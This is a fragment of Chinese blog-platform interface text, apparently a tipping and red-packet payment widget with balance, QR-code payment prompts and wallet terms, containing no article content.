当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值